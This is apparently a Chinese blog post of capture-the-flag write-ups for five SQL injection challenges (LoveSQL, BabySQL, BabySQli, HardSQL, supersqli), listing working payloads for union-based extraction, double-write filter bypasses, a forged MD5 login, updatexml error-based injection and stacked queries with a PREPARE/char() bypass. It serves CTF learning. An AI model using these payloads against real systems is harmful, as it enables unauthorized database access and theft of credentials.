SQL注入题目WP

BUUCTF [极客大挑战 2019]LoveSQL1

试用万能公式

1
2
name
1' or 1=1 #

得到了一个可以回显页面

利用万能用户名admin 加上在密码处payload寻找可以回显的位置

1
1' union select 1,2,3#

于是我们就可以利用可回显位置爆出想要的数据

爆出数据库的payload

1
1' union select 1,2,database()#

得到数据库名为’geek’ 接着爆出表名

payload

1
1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())#

得到了数据库geek下有两张表分别是 ‘geekuser’ ‘l0ve1ysq1’

根据题目名字很有可能在’l0ve1ysq1’这张表里

接着构建payload

1
1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1')#

得到三个字段名password id username

接着构建payload爆他们的数值

1
2
3
1' union select 1,2,(select group_concat(password) from l0ve1ysq1)#
1' union select 1,2,(select group_concat(id) from l0ve1ysq1)#
1' union select 1,2,(select group_concat(username) from l0ve1ysq1)#

最后是在password字段发现flag

BUUCTF [极客大挑战 2019]BabySQL 1

还是万能公式起手

根据回显报错发现or被过滤掉了 于是用 || 来代替

又发现了这个回显页面 还是试着用联合注入寻找回显位置

1
1' union select 1,2,3#

根据回显报错发现union select 被过滤了

双写绕过

1
1' ununionion selselectect 1,2,3#

爆出数据库名字payload

1
1'  ununionion selselectect 1,2,database() #

接着构建payload爆数据库中的表名

1
1'  ununionion selselectect 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #

回显报错发现or where from被过滤了 需要双写绕过构建新的payload

1
1'  ununionion selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whewherere table_schema=database() #

得到数据库geek下有两张表分别为’b4bsql’ ‘geekuser’ 根据题目名字flag大概率在b4bsql表中

构建payload爆字段名

1
1'  ununionion selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_name='b4bsql' #

再构建payload爆出三个字段的值

1
2
3
1'  ununionion selselectect 1,2,group_concat(id) frfromom b4bsql #
1' ununionion selselectect 1,2,group_concat(username) frfromom b4bsql #
1' ununionion selselectect 1,2,group_concat(passwoorrd) frfromom b4bsql # //or被过滤了所以要双写

爆出结果

得到flag

BUUCTF [GXYCTF2019]BabySQli1

还是以登录框为页面 尝试了 admin 加万能公式 发现没什么用 任何打开了源代码发现了一段密文

经过base32加base64双重解密后发现了题目所给的提示 是一段sql语句

发现是在username处存在注入点

试着判断字段存放的位置

1
1' union select 'admin',2,3 #

再换个payload

1
1' union select 1,'admin',3 #

所以说第二个字段就是存放用户名的字段,并且第三个字段就是存放密码的字段

由于我们再联合查询不存在的数据时,联合查询就会构造一个虚拟的数据,就是我们查询一个不存在的数据,联合查询就会构造一个数据出来。

所以我们构建密码为hahaha 这里要用到md5加密

1
2
username=1' union select 1,'admin','101a6ec9f938885df0a44f20458d2eb4'#
password=hahaha

登录成功 拿到flag

BUUCTF [极客大挑战 2019]HardSQL 1

首先还是尝试万能公式

很明显 被过滤了行不通 接着试着union联合查询 双写之后还是被过滤了

尝试有报错注入 爆数据库payload

1
2
username=1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
password=1

爆出了数据库名字为’geek’

接着查询表名 由于=被过滤了 所以使用like去代替

1
2
username=1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#
password=1

得到表名为’H4rDsql‘ 构建payload去爆字段名

1
2
username=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0x7e),1))#
password=1

发现字段名有id username password

构建payload去爆字段名的值

1
2
username=1'or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),1))#
password=1

发现flag但是只有一半 我们可以利用right函数把右边的那部分给爆出来

新的payload

1
2
username=1'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,25)))from(H4rDsq1)),0x7e),1))#
password=1

拼接起来得到flag

1
flag{c69ed473-7a5f-48be-a6cd-950392dcb940}

攻防世界 supersqli

尝试1’报错

1’ and 1=1 #没报错判断为单引号字符注入

利用order by爆显位 一直试到3才报错 说明列数是2

尝试联合查询

1
-1' union select 1,2#

被过滤了并且双写也没用

于是尝试报错注入

1
2
1'and (extractvalue(1,concat(0x5c,version(),0x5c)))#     //爆出数据库版本
1'and (extractvalue(1,concat(0x5c,database(),0x5c)))# //爆出数据库名字

像尝试后续接着爆表 都被过滤了

于是尝试堆叠注入

1
1';show databases;#

根据题目猜测flag在supersqli库里面 尝试爆表

1
1';show tables;#

接着根据表名爆出字段

1
1';show columns from `1919810931114514`#

发现flag 所以我们得想办法读取flag

1
1';select 1,2,group_concat(flag) from `1919810931114514`;#

但是由于select被过滤了 所以这方法行不通

于是利用预处理命令 加上char(ascii码)拼接关键字select 绕过过滤

1
1';PREPARE w from concat(char(115,101,108,101,99,116), '* from `1919810931114514`');EXECUTE w;#

得到flag


SQL注入题目WP
http://example.com/2024/12/19/SQL注入题目WP/
作者
big_freeze_mouse
发布于
2024年12月19日
许可协议